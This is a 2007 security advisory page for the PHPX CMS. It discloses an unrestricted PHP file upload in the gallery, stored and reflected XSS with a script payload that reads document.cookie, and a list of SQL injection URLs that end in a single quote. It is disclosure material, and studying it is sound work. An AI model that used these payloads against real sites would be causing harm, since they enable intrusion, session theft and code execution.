|
 |
| SecurityReason | ||
| WLB | ||
| Services | ||
| RSS | ||
| Corporate | ||
| Note | ||
If you have found a vulnerability, please send to our SecurityAlert Database : |
||
Home  SecurityAlert Database |
||||
SecurityAlert : 2457 CVE : CVE-2007-1551 CVE : CVE-2007-1550 CVE : CVE-2007-1549 SecurityRisk : Medium  (About) Remote Exploit : Yes Local Exploit : No Exploit Available : Yes Credit : laurent gaffié Published : 23.03.2007
Advisory Content : avatar upload vuln: http://site.com/phpx/gallery.php?action=addImage you can upload any kind of file in the gallery. your file gone be refused by the script but it will be located here : http://site.com/phpx/gallery/shelties/your_filename.php ;) xss permanent : dans profile: -signature xss non permanent in search.php : </textarea>'"><script>alert(document.cookie)</script> multiples error sql : http://site.com/phpx/gallery.php?action=viewImage&image_id=' http://site.com/phpx/news.php?action=view&news_id=' http://site.com/phpx/news.php?news_cat_id='&action=view_cat http://site.com/phpx/users.php?action=view&user_id=' http://site.com/phpx/news.php?news_id=' http://site.com/phpx/forums.php?cat_id=' http://site.com/phpx/forums.php?forum_id=1&topic_id=' http://site.com/phpx/forums.php?forum_id=1&topic_id=1&post_id=' http://site.com/phpx/news.php?action=view_cat&news_cat_id=' http://site.com/phpx/gallery.php?action=viewCat&cat_id=' http://site.com/phpx/print.php?action=news&news_id=' regards laurent gaffié  Feedback : If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com. |
||||
| Alert | ||
Allow attacker to denial of service apache 2.2.17 server |
||
| Apache |  |
|
| PHP | |
|
» libzip 0.9.3 |
||
| ADT | ||
Protect your family and valuables with Home Security Systems |
||
- 2011-05-13| Copyright © SecurityReason.com. All Rights Reserved. |